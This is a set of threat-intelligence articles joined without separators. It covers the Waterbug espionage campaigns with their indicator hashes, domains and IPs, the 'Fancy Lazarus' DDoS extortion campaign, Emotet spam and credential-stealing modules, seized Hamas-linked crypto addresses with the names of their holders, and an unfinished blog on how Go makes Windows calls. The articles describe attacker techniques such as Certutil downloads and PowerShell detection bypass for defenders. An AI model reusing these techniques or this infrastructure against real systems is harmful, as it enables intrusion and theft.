"forkmeiamfamous." While the group is currently keeping a lower profile, there’s no doubt it will reappear. Some tools may have to be abandoned, some reworked, and others built completely from scratch. This attack group is in it for the long haul.
# Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments The Waterbug espionage group (aka Turla) has continued to attack governments and international organizations over the past eighteen months in a series of campaigns that have featured a rapidly evolving toolset and, in one notable instance, the apparent hijacking of another espionage group’s infrastructure. ## Three waves of attacks Recent Waterbug activity can be divided into three distinct campaigns, characterized by differing toolsets. One campaign involved a new and previously unseen backdoor called Neptun (Backdoor.Whisperer). Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers. This passive listening capability makes the malware more difficult to detect. Neptun is also able to download additional tools, upload stolen files, and execute shell commands. One attack during this campaign involved the use of infrastructure belonging to another espionage group known as Crambus (aka OilRig, APT34). A second campaign used Meterpreter, a publicly available backdoor along with two custom loaders, a custom backdoor called photobased.dll, and a custom Remote Procedure Call (RPC) backdoor. Waterbug has been using Meterpreter since at least early 2018 and, in this campaign, used a modified version of Meterpreter, which was encoded and given a .wav extension in order to disguise its true purpose. The third campaign deployed a different custom RPC backdoor to that used in the second campaign. This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe. This tool is designed to bypass detection aimed at identifying malicious PowerShell usage. Prior to execution, the PowerShell scripts were stored Base64-encoded in the registry. This was probably done to avoid them being written to the file system. ## Retooled Waterbug’s most recent campaigns have involved a swath of new tools including custom malware, modified versions of publicly available hacking tools, and legitimate administration tools. The group has also followed the current shift towards “living off the land,” making use of PowerShell scripts and PsExec, a Microsoft Sysinternals tool used for executing processes on other systems. Aside from new tools already mentioned above, Waterbug has also deployed: - A new custom dropper typically used to install Neptun as a service. - A custom hacking tool that combines four leaked Equation Group tools (EternalBlue, EternalRomance, DoublePulsar, SMBTouch) into a single executable. - A USB data collecting tool that checks for a connected USB drive and steals certain file types, encrypting them into a RAR file. It then uses WebDAV to upload to a Box cloud drive. - Visual Basic scripts that perform system reconnaissance after initial infection and then send information to Waterbug command and control (C&C) servers. - PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C&Cs. - Publicly available tools such as IntelliAdmin to execute RPC commands, SScan and NBTScan for network reconnaissance, PsExec for execution and lateral movement, and Mimikatz (Hacktool.Mimikatz) for credential theft, and Certutil.exe to download and decode remote files. These tools were identified being downloaded via Waterbug tools or infrastructure. ## Victims These three recent Waterbug campaigns have seen the group compromise governments and international organizations across the globe in addition to targets in the IT and education sectors. Since early 2018, Waterbug has attacked 13 organizations across 10 different countries: - The Ministry of Foreign Affairs of a Latin American country - The Ministry of Foreign Affairs of a Middle Eastern country - The Ministry of Foreign Affairs of a European country - The Ministry of the Interior of a South Asian country - Two unidentified government organizations in a Middle Eastern country - One unidentified government organization in a Southeast Asian country - A government office of a South Asian country based in another country - An information and communications technology organization in a Middle Eastern country - Two information and communications technology organizations in two European countries - An information and communications technology organization in a South Asian country - A multinational organization in a Middle Eastern country - An educational institution in a South Asian country ## Hijacked infrastructure One of the most interesting things to occur during one of Waterbug’s recent campaigns was that during an attack against one target in the Middle East, Waterbug appeared to hijack infrastructure from the Crambus espionage group and used it to deliver malware onto the victim’s network. Press reports have linked Crambus and Waterbug to different nation states. While it is possible that the two groups may have been collaborating, Symantec has found no further evidence to support this. In all likelihood, Waterbug’s use of Crambus infrastructure appears to have been a hostile takeover. Curiously though, Waterbug also compromised other computers on the victim’s network using its own infrastructure. During this attack, a customized variant of the publicly available hacking tool Mimikatz was downloaded to a computer on the victim’s network from known Crambus-controlled network infrastructure. Mimikatz was downloaded via the Powruner tool and the Poison Frog control panel. Both the infrastructure and the Powruner tool have been publicly tied to Crambus by a number of vendors. Both were also mentioned in recent leaks of documents tied to Crambus. Symantec believes that the variant of Mimikatz used in this attack is unique to Waterbug. It was heavily modified, with almost all original code stripped out aside from its sekurlsa::logonpasswords credential stealing feature. Waterbug has frequently made extensive modifications to publicly available tools, something Crambus is not well known for. The variant of Mimikatz used was packed with a custom packing routine that has not been seen before in any non-Waterbug malware. Waterbug used this same packer on a second custom variant of Mimikatz and on a dropper for the group’s custom Neuron service (Trojan.Cadanif). Its use in the dropper leads us to conclude that this custom packer is exclusively used by Waterbug. Additionally, this version of Mimikatz was compiled using Visual Studio and the publicly available bzip2 library which, although not unique, has been used by other Waterbug tools previously. Aside from the attack involving Crambus infrastructure, this sample of Mimikatz has only been seen used in one other attack, against an education target in the UK in 2017. On that occasion, Mimikatz was dropped by a known Waterbug tool. In the case of the attack against the Middle Eastern target, Crambus was the first group to compromise the victim’s network, with the earliest evidence of activity dating to November 2017. The first observed evidence of Waterbug activity came on January 11, 2018, when a Waterbug-linked tool (a task scheduler named msfgi.exe) was dropped onto a computer on the victim’s network. The next day, January 12, the aforementioned variant of Mimikatz was downloaded to the same computer from a known Crambus C&C server. Two further computers on the victim’s network were compromised with Waterbug tools on January 12, but there is no evidence that Crambus infrastructure was used in these attacks. While one of these computers had been previously compromised by Crambus, the other showed no signs of Crambus intrusion. Waterbug’s intrusions on the victim’s network continued for much of 2018. On September 5, 2018, a similar Mimikatz variant was dropped by Waterbug’s Neptun backdoor onto another computer on the network. At around the same time, other Waterbug malware was seen on the victim’s network which communicated with known Waterbug C&C servers. Finally, the issue was clouded further by the appearance of a legitimate systems administration tool called IntelliAdmin on the victim’s network. This tool is known to have been used by Crambus and was mentioned in the leak of Crambus documents. However, in this case, IntelliAdmin was dropped by custom Waterbug backdoors, including the newly identified Neptun backdoor, on computers that had not been affected by the Crambus compromise. The incident leaves many unanswered questions, chiefly relating to Waterbug’s motive for using Crambus infrastructure. There are several possibilities: 1. **False flag**: Waterbug does have a track record of using false flag tactics to throw investigators off the scent. However, if this was a genuine attempt at a false flag operation, it begs the question of why it also used its own infrastructure to communicate with other machines on the victim’s network, in addition to using tools that could be traced back to Waterbug. 2. **Means of intrusion**: It is possible that Waterbug wanted to compromise the target organization, found out that Crambus had already compromised its network, and hijacked Crambus’s own infrastructure as a means of gaining access. Symantec did not observe the initial access point and the close timeframe between Waterbug observed activity on the victim’s network and its observed use of Crambus infrastructure suggests that Waterbug may have used the Crambus infrastructure as an initial access point. 3. **Mimikatz variant belonged to Crambus**: There is a possibility that the version of Mimikatz downloaded by the Crambus infrastructure was actually developed by Crambus. However, the compilation technique and the fact that the only other occasion it was used was linked to Waterbug works against this hypothesis. The fact that Waterbug also appeared on the victim’s network around the same time this version of Mimikatz was downloaded would make it an unlikely coincidence if the tool did belong to Crambus. 4. **Opportunistic sowing of confusion**: If a false flag operation wasn’t planned from the start, it is possible that Waterbug discovered the Crambus intrusion while preparing its attack and opportunistically used it in the hopes of sowing some confusion in the mind of the victim or investigators. Based on recent leaks of Crambus internal documents, its Poison Frog control panel is known to be vulnerable to compromise, meaning it may have been a relatively trivial diversion on the part of Waterbug to hijack Crambus’s infrastructure. A compromise conducted by one threat actor group through another's infrastructure, or fourth party collections, has been previously discussed in a 2017 white paper by Kaspersky researchers. ## Further campaigns Waterbug has also mounted two other campaigns over the past year, each of which was characterized by separate tools. These campaigns were wide-ranging, hitting targets in Europe, Latin America, and South Asia. In the first campaign, Waterbug used two versions of a custom loader named javavs.exe (64-bit) and javaws.exe (32-bit), to load a custom backdoor named PhotoBased.dll and run the export function GetUpdate on the victim’s computers. The backdoor will modify the registry for the Windows Media Player to store its C&C configuration. It also reconfigures the Microsoft Sysinternals registry to prevent pop-ups when running the PsExec tool. The backdoor has the capability to download and upload files, execute shell commands, and update its configuration. The javaws.exe loader is also used to run another loader named tasklistw.exe. This is used by the attackers to decode and execute a series of malicious executables that download Meterpreter to the infected computer. The attackers also install another backdoor that runs a command shell via the named pipe cmd_pipe. Both backdoors allow the attackers to execute various commands that provide full control of the victim’s system. Waterbug also used an older version of PowerShell, likely to avoid logging. In the second campaign, Waterbug used an entirely different backdoor, named securlsa.chk. This backdoor can receive commands through the RPC protocol. Its capabilities include: - Executing commands through cmd.exe with the output redirected into a temporary file - Reading the command output contained in the temporary file - Reading or writing arbitrary files This RPC backdoor also included source code derived from the tool PowerShellRunner, which allows a user to run PowerShell scripts without executing powershell.exe, therefore the user may bypass detection aimed at identifying malicious PowerShell usage. While both campaigns involved distinct tools during the initial compromise phase, there were also many similarities. Both were characterized by the use of a combination of custom malware and publicly available tools. Also, during both campaigns Waterbug executed multiple payloads nearly simultaneously, most likely to ensure overlapping access to the network if defenders found and removed one of the backdoors. Waterbug took several steps to avoid detection. It named Meterpreter as a WAV file type, probably in the hope that this would not raise suspicions. The group also used GitHub as a repository for tools that it downloaded post-compromise. This too was likely motivated by a desire to evade detection, since GitHub is a widely trusted website. It used Certutil.exe to download files from the repository, which is an application whitelist bypass technique for remote downloads. In one of these campaigns, Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest. It then packages stolen files into a password-protected RAR archive. The malware then uses WebDAV to upload the RAR archive to a Box account. ## Unanswered questions This is the first time Symantec has observed one targeted attack group seemingly hijack and use the infrastructure of another group. However, it is still difficult to ascertain the motive behind the attack. Whether Waterbug simply seized the opportunity to create confusion about the attack or whether there was more strategic thinking involved remains unknown. Waterbug’s ever-changing toolset demonstrates a high degree of adaptability by a group determined to avoid detection by staying one step ahead of its targets. Frequent retooling and a penchant for flirting with false flag tactics have made this group one of the most challenging adversaries on the targeted attack landscape. ## Protection/Mitigation Symantec has the following protection in place to protect customers against these attacks: - File-based protection - Backdoor.Whisperer - Hacktool.Mimikatz ## Indicators of Compromise ### Campaign 1 - 24fe571f3066045497b1d8316040734c81c71dcb1747f1d7026cda810085fad7 - 66893ab83a7d4e298720da28cd2ea4a860371ae938cdd86035ce920b933c9d85 - 7942eee31d8cb1c8853ce679f686ee104d359023645c7cb808361df791337145 - 7bd3ff9ba43020688acaa05ce4e0a8f92f53d9d9264053255a5937cbd7a5465e - a1d9f5b9ca7dda631f30bd1220026fc8c3a554d61db09b5030b8eb9d33dc9356 - c63f425d96365d906604b1529611eefe5524432545a7977ebe2ac8c79f90ad7e - cb7ecd6805b12fdb442faa8f61f6a2ee69b8731326a646ba1e8886f0a5dd61e0 - db9902cb42f6dc9f1c02bd3413ab3969d345eb6b0660bd8356a0c328f1ec0c07 - e0c316b1d9d3d9ec5a97707a0f954240bbc9748b969f9792c472d0a40ab919ea - 5da013a64fd60913b5cb94e85fc64624d0339e09d7dce25ab9be082f0ca5e38b - c8a864039f4d271f4ab6f440cbc14dffd8c459aa3af86f79f0619a13f67c309f - 588fd8eba6e62c28a584781deefe512659f6665daeb8c85100e0bf7a472ad825 - cda5b20712e59a6ba486e55a6ab428b9c45eb8d419e25f555ae4a7b537fc2f26 - 694d9c8a1f0563c08e0d3ab7d402ffbf5a0fa11340c50fba84d709384ccef021 - caaed70daa7832952ae93f41131e74dcb6724bb8669d18f28fbed4aa983fdc0c - 493eee2c55810201557ef0e5d134ca0d9569f25ae732df139bb0cb3d1478257f - 0e9c3779fece579bed30cb0b7093a962d5de84faa2d72e4230218d4a75ee82bc - 5bbeed53aaa40605aabbfde31cbfafd5b92b52720e05fa6469ce1502169177a0 - d153e4b8a11e2537ecf99aec020da5fad1e34bbe79f617a3ee5bc0b07c3abdca - vision2030.tk - vision2030.cf - dubaiexpo2020.cf - microsoft.updatemeltdownkb7234.com - codewizard.ml - updatenodes.site ### Campaign 2 - 10d1bfd5e8e1c8fa75756a9f1787c3179da9ab338a476f1991d9e300c6186575 - 3fbec774da2a145974a917aeb64fc389345feb3e581b46d018077e28333601a5 - 52169d7cdd01098efdde4da3fb22991aaa53ab9e02db5d80114a639bf65bce39 - 56098ed50e25f28d466be78a36c643d19fedc563a2250ae86a6d936318b7f57e - 595a54f0bbf297041ce259461ae8a12f37fb29e5180705eafb3668b4a491cecc - 5dc26566b4dec09865ea89edd4f9765ef93e789870ed4c25fcc4ebad19780b40 - 6b60b27385738cac65584cf7d486913ff997c66d97a94e1dde158c9cd03a4206 - 846a95a26aac843d1fcec51b2b730e9e8f40032ee4f769035966169d68d144c4 - c4a6db706c59a5a0a29368f80731904cc98a26e081088e5793764a381708b1ea - d0b99353cb6500bb18f6e83fe9eed9ce16e5a8d5b940181e5eafd8d82f328a59 - ee7f92a158940a0b5d9b902eb0ed9a655c7e6ba312473b1e2c9ef80d58baa6dd - 94.249.192.182 ### Campaign 3 - 454e6c3d8c1c982cd301b4dd82ec3431935c28adea78ed8160d731ab0bed6cb7 - 4ecb587ee9b872747408c00de5619cb6b973e7d39ce4937655c5d1a07b7500fc - 528e2567e24809d2d0ba96fd70e41d71c18152f0f0c4f29ced129ed7701fa42a - 6928e212874686d29c85eac72553ccdf89aacb475c61fa3c086c796df3ab5940 - b22bbda8f504f8cced886f566f954cc245f3e7c205e57139610bbbff0412611c - d52b08dd27f2649bad764152dfc2a7dea0c8894ce7c20b51482f4a4cf3e1e792 - e7e41b3d7c0ee2d0939bb56d797eaf2dec44516ba54b8bf1477414b03d4d6e48 - ec3da59d4a35941f6951639d81d1c5ff73057d9cf779428d80474e9656db427c - fbefe503d78104e04625a511528584327ac129c3436e4df09f3d167e438a1862 - markham-travel.com - zebra.wikaba.com - 185.141.62.32 - 212.21.52.110
# Ransom DDoS Extortion Actor “Fancy Lazarus” Returns **Key Takeaways** The ransom distributed denial of service extortion threat actor known as "Fancy Lazarus" is back, targeting an increasing number of industries, including energy, financial, insurance, manufacturing, public utilities, and retail sectors. There is no known connection between this group and the APT actors with the same names. These latest campaigns have some differences from previous ones, including a change to the group's name, the amount of Bitcoin being ransomed, and variations in the email body content. While organizations cannot completely avoid being targeted, most threats either do not materialize into actual attacks or are successfully mitigated. ## Overview As of May 12, 2021, Proofpoint researchers are tracking renewed distributed denial of service (DDoS) extortion activity targeting various industries by the threat actor “Fancy Lazarus.” The activity has been primarily observed at U.S. companies or those with a global footprint. The actor took a month-long break from April to May 2021 before returning with new campaigns that include changes to the group’s tactics, techniques, and procedures: - **New name:** The group, previously known as “Fancy Bear,” “Lazarus,” “Lazarus Group,” and “Armada Collective,” is now going by “Fancy Lazarus.” There is no known connection between this group and the APT actors with the same names. - **New price:** The extortion emails now have adjusted ransom pricing, lowering it from ransoms as high as ten Bitcoin (BTC) to its current two BTC starting price. This change likely accounts for Bitcoin’s fluctuating value. - **Variation in email content:** The email body content is reminiscent of original variants from August 2020 with some minor changes. The group is still tweaking the original email, potentially indicating its effectiveness. ## Background In mid-to-late August 2020, Akamai and the U.S. Federal Bureau of Investigation (FBI) alerted organizations to a spate of ransom denial-of-service extortion emails from this group. Reports indicated that this group targeted thousands of organizations across multiple global industry verticals, demanding Bitcoin payment or threatening a small-scale denial-of-service attack followed by a more substantial attack days later. ## Campaign Details The campaigns begin with sensational emails. The current iteration starts with an announcement of the group's name and an acknowledgment that they are targeting a specific company. They threaten a DDoS attack in seven days and mention a "small attack" to prove it is not a hoax. The emails claim the maximum attack speed will be "2 Tbps" and warn about potential damage to the target company’s reputation and loss of internet access. Each campaign is characterized by the following elements: - **Recipients:** Emails are typically sent to well-researched recipients, such as individuals listed as contacts in Border Gateway Protocol (BGP) or Whois information for company networks. Recipients often work in communications, external relations, investor relations, or are part of email aliases like help desk or customer service. - **Email body:** Three email variants are sent to the same recipients, conveying the same information in plain text, HTML, or as a JPG image attachment, likely to evade detection. - **Sender emails:** Each sender email is unique to the targeted company, previously containing names like “Fancy Bear” or “Lazarus.” In the current campaign, a random “First name Last name” format is used with fictional names. - **Sender email provider:** Each email is created at one of the various free email services. - **Payment:** Ransom demands of two BTC, roughly equating to $76,000 USD on May 26, 2021, are observed. The price doubles to four BTC after the deadline and increases by one BTC each day thereafter. The Bitcoin addresses are unique to each potential target. ## Conclusion While Proofpoint does not have visibility into the actual “Fancy Lazarus” DDoS attacks, FBI reporting indicates that many affected companies that pass the threatened deadline either do not see additional activity or successfully mitigate it. However, several prominent institutions have received attack demonstrations or reported impacts to their operations, making it important for companies to have appropriate mitigations in place, such as using a DoS protection service and having disaster recovery plans ready. **EDIT (Added on 06/11/21)** A recent report by Akamai notes a resurgence of this activity since May 2021, providing detailed examples of the specific nature of the DDoS traffic.
# Deep Analysis of New Emotet Variant – Part 2 **By Xiaopeng Zhang | May 09, 2017** ## Background This is the second part of FortiGuard Labs’ deep analysis of the new Emotet variant. In the first part of the analysis, we demonstrated that by bypassing the server-side Anti-Debug or Anti-Analysis technique, we could download three or four modules (.dll files) from the C&C server. In that first blog, we only analyzed one module (I named it ‘module2’). In this blog, we’ll review how the other modules work. ## Stealing email addresses from MS Outlook PST files As I detailed in Part 1 of this blog, the first module we’re looking at here (I’ve named it ‘module1’) is loaded in a ThreadFunction, whose main function is to go through all Outlook accounts by reading the PST files. A PST file is a personal folder file in Microsoft Outlook that stores your email messages, calendar, tasks, and other items. PST files are usually located in the “Documents\Outlook Files” folder on your computer. Microsoft has provided a group of APIs called MAPI (Microsoft Outlook Messaging API), which is the messaging architecture for Microsoft Outlook. Using the MAPIs, you can operate PST files. The MAPIs are used in the module1 file. Once the module1 file is executed, it creates a temporary file that is used to store the stolen Outlook version information and email addresses that have been collected. Loading MAPI functions is the next step. It then starts reading all PST files according to the Outlook accounts on the computer, going through all email messages with an unread status in every folder (Inbox, Deleted Items, Junk E-mail, Sent Items, etc.) under one email account. It steals the sender name and the email address from each unread email. As I mentioned before, the stolen data is saved in a temporary file. In this case, it’s “AE74.tmp.” It will be read when module1 prepares to encrypt and send the stolen information to its C&C server. As you can see, it contains the Outlook version and stolen email information. Once encrypted, the data will be sent to the C&C server through a “POST” request. ## Sending spam using the C&C server template This is the largest Emotet module (I have named it ‘module4’) of the malware’s four modules. Its main function is to send spam to the email addresses which were stolen and sent to the C&C server. When it is executed in a thread, it generates a GUID by calling the CoCreateGuid function. It then base64-encodes the GUID and sends it as a cookie to the C&C server. The response provides the encrypted spam message, as well as the email addresses that the spam will be sent to. Once module4 receives the decrypted data, it reads out the spam template and the email addresses the spam message is being sent to. In module4, it supports SMTP protocol over both port 25 (regular) and port 587 (SSL). As you can see in Figure 11, the spam attempts to trick the email recipients into opening a URL that points to a malicious Word file. ## Conclusion From this deep analysis of the new Emotet variant, we can see that it focuses on stealing email-related data from a victim’s device and then uses that device and the email addresses it has collected from it to send spam that can spread other malware. **NOTE:** At the end of my analysis, I noticed that the Anti-Debug technique on the server side sometimes worked, and sometimes didn’t. The URL attached to the spam generated by this malware has been detected as Malicious Websites by the FortiGuard Webfilter service, and the downloaded Word file has been detected as WM/Agent.DEA!tr.dldr by the FortiGuard Antivirus service. ## Summary of the four Received Modules - **Module1 (size 1c000H):** steals email addresses and the recipients’ names from Outlook PST files. - **Module2 (size 32000h):** steals credentials from installed Office Outlook, IncrediMail, Group Mail, MSN Messenger, Mozilla ThunderBird, etc. The analysis of this module was provided in the first blog. - **Module3 (size 70000h):** steals saved information in browsers. Since it’s simple, I chose to not provide any analysis. - **Module4 (size 0F0000h):** sends spams to spread other malware. ## IoC - **URL:** "hxxp://hand-ip.com/Cust-Document-5777177439/" - **Sample SHA256:** ORDER.-Document-7023299286.doc D8CFE351DAA5276A277664630F18FE1E61351CBF3B0A17B6A8EF725263C0CAB4
# Israeli Government Seizes Cryptocurrency Addresses Associated with Hamas Donation Campaigns **Chainalysis Team** July 8, 2021 Israel’s National Bureau for Counter Terror Financing (NBCTF) released information on the seizure of cryptocurrency held by several wallets associated with donation campaigns carried out by Hamas. The seizure included but was not limited to the Al Qassam Brigades (AQB), which is Hamas’s military wing. This action comes after a sizable uptick in cryptocurrency donations to Hamas in May following increased fighting between the group and Israeli forces. Notably, this is the first terrorism financing-related cryptocurrency seizure to include such a wide variety of cryptocurrencies, as NBCTF seized not just Bitcoin, but also Ether, XRP, Tether, and others, following an investigation focused largely on analysis of OSINT, including social media posts, as well as blockchain data. ## Blockchain analysis shows movement of donation funds to exchanges The Chainalysis Reactor graph below shows the Bitcoin portion of the transactions carried out by many of the addresses listed in the NBCTF announcement. Many of these addresses have been attributed to individuals connected to the donation campaigns. The orange hexagons represent deposit addresses hosted by a large, mainstream cryptocurrency exchange and controlled by individuals named in the NBCTF announcement. On the graph, we see how funds moved to those exchange addresses from Hamas donation addresses, often passing first through intermediary wallets, high-risk cryptocurrency exchanges, and money services businesses (MSBs). Interestingly, we can also see that two addresses named in the announcement received funds from addresses associated with the Idlib office of BitcoinTransfer, a Syrian cryptocurrency exchange connected to previous terrorism financing cases. Another received funds from a Middle East-based MSB that had previously received funds from the Ibn Taymiyya Media Center (ITMC), an organization that has also been associated with terrorism financing in the past. ## List of addresses seized and identified Below is a list of all cryptocurrency addresses named in the NBCTF announcement, broken down by the individual controlling the address where possible. We are also in the process of labeling these addresses in all of our products, and will notify clients of any exposure they have to them. ### Ali Ismail Shafiq Abualkas - 13iQsrwBYdrLpnitG5EV79o3PeHjH8XUBc - 15soXrE3NJBMkkQhrccXonTT9bpjpPvE67 - D5hkVKXQvJnw9nEvd36eRipxJgu1ts8ydx - 0xc077bbfcf9b5b9eec0dd105e15b65ebc2a030600 - 12sDU3FyYJXc2oRzE6XXuuhVHCBJvaoCC8 - TRU6fdxpMMDdEykV1fPvcqtMNRLeyw6Ymt - 0xad92a818e26fc3dbce7a1972308a4a86f54dd683 - TG7YAAmZ5ALicdhuxKoE3DqnuBPj2zgG1Q ### Mahmoud Madhat Ahmed Baroud - 1GALPyvUDDXqA6H2eHQ9Y1yidfQ6T1Drvn - 0x99d29380a2e37c04e4fe75111b7d410674a6cab3 - rEb8TK3gBgk5auZkwc6sHnwrGVJH8DuaLh - LcCBQ7fKwTrNf3nM522dcDXWsktbx95fTv - 1Gg25VzQkqCizXHNSNet4RoysLEe19su4s - TJKofAGPQ2mSmnPwugN79p1Ceu39KBZyHC - DDifCccot9tnVqh99qnQmFSXYX99jw2aD8 - GAHK7EEG2WWHVKDNT4CEQFZGKF2LGDSW2IVM4S5DP42RBW3K6BTODB4A - 27f405bf5c5caf0db56316b76dfc3067846cffcf8f2ffda5d5f754114ec1db35b3f6310fb25b - 12154055877559948854L ### Tareq Alla Mohammedali Baraaasi - 1Lm9BCDUKoBUk888DCXewM5p8bJyr83cEp - 0x11069987e8507d0669c870b578cc9f9b4017d127 - bnb136ns6lfw4zs5hg4n85vdthaad7hq5m4gtkgf23 - D7i5trghauwmVDT8KBqnwaYDrDU7j2xgS8 - TMKe9i1J46K3YDx5NjtyRTg1VDjbBhyfyJ ### Mahmoud Mohammed Mahmoud Ayesh - 164fawNZVwsR5SamAJypvCMtkMx4Xv1B3f - 0xddd42d46a17b9a5b0c53c5ef2b79a6acb1b50333 - LQsYaykwDfsKXKkVnQUNhyoVQuhiDEQrZT - 1481074704939202117L - D7pCdGvzKPEtnuYnFVWtW4pTGTjD9v2Tuo - DF6guxhXjjBPKMxFcy9LZQsMh8GnRRhbi2 - TVbaPNrc2UbGrGBKwjRjjn6UENoTBnkB2d - SGP2HJQBCDEX4B4PH7TVIWJZ4YZZX5C5B3TQ24QA3USY7O5X2KO5V2FPXM - 13ztYvFxVpioqRvr8YUz7UmJm36ERJhMBG ### Karem Munir Mohammed Abed - 1JpSBaUwrZaEgmsYka7mzm9t3Z4syyaw7A - TU1TTeKBxtCVYNHrVrobBtvGAeJvuqyx6p ### Mohammed Ramadan Hasan Abukwaik - 1A7pDH1EdrkH9YZtsPnc8uzirBFnAN9Eay - LdEaGBJzGRyZBEo8vqRAeKLwRAK4hXwWP5 - 0xebfe7a29ea17acb5f6f437e659bd2d472deedc54 - 1BPf9qr7M5xUgNHUYtrQtEKvUKcyERzXao - t1SfdPR5gMz1QAMGJKGTNgzCauTEMnNU6GR - TXVG2seoqhk4i1WpzG6t64YAW6SCUQfDhW - DKQfVwp2hm54XeUhwMbyccmgHmrP6kL7uz ### Mohammed Nasser Ibrahim Abulaila - 1DrhHEkv42JVwiDQNi28JFdSuiSGgPNXwP - LLuDSfYfCXL24rhCGMLgguHWLvQHzHPm78 - 1EnX6BuJiGWydqXJT9BN5dSvfLg3QW4Mdz - 3177043342364495742L - D8jJNUtbmC9z1nfY8QRJ2GNWYFQz5btGot - 66413449033389c6d27e9515284a9d8fd0eacf6e2c69e916b7f5451deeb4723a68c2b78e4974 - SNwdHP6Qpkk6exSAqMG4GdTRkQRAu28SSS - THuvw2pY2GSBmDewHKzahQum2yUWHJeJKh ### Other - 1QH9hfeSSb2iftcVpgpQp3NsFD174crFoW - 1EfmRn6Bp3cjrTBubaH8MzRRc2ikSjNGXw - 1Lm9BCDUKoBUk888DCXewM5p8bJyr83cEp - 19D1iGzDr7FyAdiy3ZZdxMd6ttHj1kj6WW - 3FWSkG5NmyXF3rqMav7piXiJUDYzKpgFRT - 17QAWGVpFV4gZ25NQug46e5mBho4uDP6MD - 1QAV9VoTVw7XoyqiTjmNHaKSkNc9QWfqAh - 3HQJ9ta7TmYNRjkby3nbMGdHzNCCiXs3Ui - 18yzhmcgHtRVoEX3doCrqhis6fFU1dHFUE - 0xe090669ee62e02f4437b89058a073dc7874aed8f - 179bzhS4FY7qLDza9YjuorhWyXVVYZu2YH - 1LPTaRfyoNwvwAtmYzcetZLjBfUxVkJrr4 - bc1qg9h7s7hn4t9m7uw26gnwfm7xfxk77fkj878sg3 - 19XVEDZCGVMA9WCF1qUayxtnjUnyD7zDDQ - 1uLdz4wXrcXjCy2CqLWuJUiE85Y7SJ1ge - 1ULEqcd5te8AWqFpH7HD4KvJZ1AKcJPam - 1348ThkNoDupq1bws95diMiL8haGs61K7M - 1EVTZmTMqZPMzGxsug9TXBtvPJZH8dXSCK - 1EDcKCRypUTFoTZbxDWF9MBAT4W7XUGB32 - 1EYya5dfNvuYDwpeboGKBtkXzJcEHMCQXR - 1LhRW1msre1cFgT7fBY2BRrZ4ANMPwVj9u - 31yqH1jVEPDJ7x9L648Ec5umM2G3zNDoe5 - bc1qwsqdcas3llkcx53sx4lqrcrdpxmr5s4eke6d8y - 3MhdvQccMd5zAh92WrW7SpcHXwfW1uiamD - 1GC2SjzCyCwxo1uxTi28oqn9L3mJj7bLPs - 1C6hetVWVXZnS6P2BYBNu5Y1ZJ57JyXGac - TC71Nb9mtcv4vPezL8KEKvUs3aKoYwiJZa - TAHg5ZFkxaJq5wE6pGpM8mY5Q1YEvz6W3G - D9KKhKM68nRaYtQJJAA82cKhd3bGWqCW46 - DNmxLVUn5AuzoDo2CSc7P13wcMSvZ4nsYY - RPW95tQG7y47QTqS6cNA4EQ5mBmATrG91o - 3c61d17a6a55c7434afa3cb43e4dcef2819f38cff2484a6c1e2fffaf089548e2db3328145343 - DdzFFzCqrht4k4DfGDtBaqv6boi1jjyzW2QyEFA2imphJipAcAfdEUyFeMZJtBjjiQJBFYk8JZHffuqgUK9hxbjRwrNpeUgPD78U49Vt ## The value of blockchain analysis in conjunction with other data sources This investigation is a perfect example of the value of blockchain analysis, especially when used in conjunction with other open source data. Israeli authorities analyzed OSINT to find Hamas’ donation addresses and, with blockchain analysis tools, were able to follow the funds to find consolidation addresses and uncover the names of individuals associated with the campaigns. Up to date transaction data across several blockchains was crucial here, as agents tracked and seized funds in several different varieties of cryptocurrency. We commend the Israeli authorities for a successful operation and look forward to facilitating more such successes for our government partners around the world.
# An In-Depth Look at the Golang Windows Calls **Leandro Fróes** **April 17, 2023** **Posted Apr 17, 2023** **29 min read** Hi! This is my very first blog entry! I’ve created this blog to do both force myself to publish more of my study notes as well as to share as much as I can online so I hope you enjoy it. =) ## Disclaimer It’s important to mention this research is a work in progress and might receive updates in the future. If you find anything wrong here please let me know and I’ll be happy to fix it! The code snippets presented in this blog post were obtained from the Golang source code. To make it easier to understand I added some more comments on it and removed some parts of the code for better visualization. When I started this research I found no one talking about these internal aspects, especially how those could be abused, so I’m assuming what I’m presenting here is a kind of “novel approach” (uuuh, fancy… hahaha). If you know someone that did this kind of work in the past please let me know! I would love to check it. ## Motivation At the end of last year (2022) I had to analyze some obfuscated and trojanized Go malwares, basically perform some triage to know more about what it does and how it does the stuff. Due to the Go nuances and runtime aspects my first approach was to analyze it statically and after some time into it I thought I was wasting too much time for what should be just a simple triage in the first place. That said, I decided to go to a dynamic approach and my first idea was something that I think most part of RE people would do: trace the API calls. In order to do that I used API Monitor because it’s easy to use and very powerful. Unfortunately, the output was very noisy and not that complete and I was not happy with it. This experiment made me ask myself why it’s that noisy? How are those Windows API calls performed? And this is how I started this research. ## From a Golang Function to the Windows API The big question we want to answer in this blog post is: what happens when an application compiled using Go calls a function? Regardless of what it does in the middle, the program would need to either compile the Windows libraries statically or call into the OS functions at some point (e.g., calling the exported function, performing the syscall directly, etc). ### A Simple Go Call To answer that question, let’s take the `Hostname` function from the `os` package as an example: ```go package os // Hostname returns the host name reported by the kernel. func Hostname() (name string, err error) { return hostname() } ``` As we can see, this function is just a wrapper for another function named `hostname`, also defined in the `os` package: ```go func hostname() (name string, err error) { // Use PhysicalDnsHostname to uniquely identify host in a cluster const format = windows.ComputerNamePhysicalDnsHostname n := uint32(64) for { b := make([]uint16, n) err := windows.GetComputerNameEx(format, &b[0], &n) // Our target if err == nil { return syscall.UTF16ToString(b[:n]), nil } if err != syscall.ERROR_MORE_DATA { return "", NewSyscallError("ComputerNameEx", err) } // If we received an ERROR_MORE_DATA, but n doesn't get larger, // something has gone wrong and we may be in an infinite loop if n <= uint32(len(b)) { return "", NewSyscallError("ComputerNameEx", err) } } } ``` Despite some checks performed, this function is very simple; it just calls a function named `GetComputerNameEx` in the `windows` package in order to get the hostname. The curious thing about it is that the name of this function is also the name of a Windows API function that is also used to retrieve the hostname. Doing a quick search in the Go source code we can find the function implementation and notice it ends up calling a function named `Syscall`: ```go func GetComputerNameEx(nametype uint32, buf *uint16, n *uint32) (err error) { r1, _, e1 := syscall.Syscall(procGetComputerNameExW.Addr(), 3, uintptr(nametype), 